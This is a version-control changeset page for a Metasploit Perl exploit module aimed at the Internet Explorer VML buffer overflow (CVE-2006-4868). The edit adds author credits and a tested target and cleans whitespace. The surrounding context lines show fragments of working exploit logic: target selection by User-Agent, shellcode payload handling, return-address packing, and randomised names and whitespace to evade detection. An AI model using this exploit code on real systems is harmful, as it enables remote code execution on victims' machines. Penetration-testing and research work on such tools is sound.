Changeset 3959

Show
Ignore:
Timestamp:
09/25/06 19:57:03 (2 years ago)
Author:
hdm
Message:

Updates

Files:

Legend:

Unmodified
Added
Removed
Modified
Copied
Moved
  • framework2/trunk/exploits/ie_vml_rectfill.pm

    r3958 r3959  
    2929          [ 
    3030                'H D Moore <hdm [at] metasploit.com>', 
     31                'Trirat Puttaraksa (Kira) <trir00t [at] gmail.com>', 
     32                'Mr.Niega <Mr.Niega [at] gmail.com>', 
     33                'M. Shirk <shirkdog_list [at] hotmail.com>' 
    3134          ], 
    3235 
     
    3538                This module exploits a code execution vulnerability in Microsoft Internet Explorer using  
    3639                a buffer overflow in the VML processing code (VGX.dll). This module has been tested on 
    37                 Windows XP SP0 and Windows XP SP2. 
     40                Windows 2000 SP4, Windows XP SP0, and Windows XP SP2. 
    3841}), 
    3942 
     
    5659        'Refs'           => 
    5760          [ 
    58               ['CVE', '2006-4868' ], 
     61              ['CVE', '2006-4868' ], 
    5962                ['BID', '20096' ], 
    6063                ['OSVDB', '28946' ], 
     
    6972  }; 
    7073 
    71  
    7274sub new { 
    7375        my $class = shift; 
     
    131133                $agent = $val if $var =~ /User-Agent/i; 
    132134        } 
    133          
     135 
    134136        my $buflen = 1024; 
    135          
     137 
    136138        # Windows XP SP2 / 2003 SP1 requires long buffer 
    137139        if ($agent =~ /Windows NT 5\.[123]/) { 
     
    149151        my $target = $self->Targets->[$self->GetVar('TARGET')]; 
    150152        my @vml_elements = qw{ rect roundrect line polyline oval image arc curve }; 
    151          
     153 
    152154        my $shellcode = Pex::Utils::JSUnescape($self->GetVar('EncodedPayload')->Payload); 
    153155        my $addr_long = unpack('H*', pack('V', $target->[1])); 
     
    156158        my $xmlns     = Pex::Text::LowerCaseText(int(rand(30)+2)); 
    157159        my $vmlelem   = $vml_elements[ rand(scalar(@vml_elements)) ]; 
    158          
     160 
    159161        my $var_buffer    = Pex::Text::LowerCaseText(int(rand(30)+2)); 
    160162        my $var_shellcode = Pex::Text::LowerCaseText(int(rand(30)+2)); 
     
    162164        my ${var_x}       = Pex::Text::LowerCaseText(int(rand(30)+2)); 
    163165        my ${var_i}       = Pex::Text::LowerCaseText(int(rand(30)+2)); 
    164          
     166 
    165167        my $data      = qq| 
    166168<html xmlns:${xmlns} = "urn:schemas-microsoft-com:vml" > 
     
    196198        # Mangle the whitespace... 
    197199        $data =~ s/\s+/RandomSpaces()/ge; 
    198          
     200 
    199201        return $data; 
    200202} 
     
    204206        my $res; 
    205207        my $len = rand(100)+20; 
    206          
     208 
    207209        while (length($res) < $len) { 
    208210                $res .= $spaces[ rand(scalar(@spaces)) ]; 
    209211        } 
    210          
     212 
    211213        return $res; 
    212214} 
     
    264266} 
    2652671; 
     268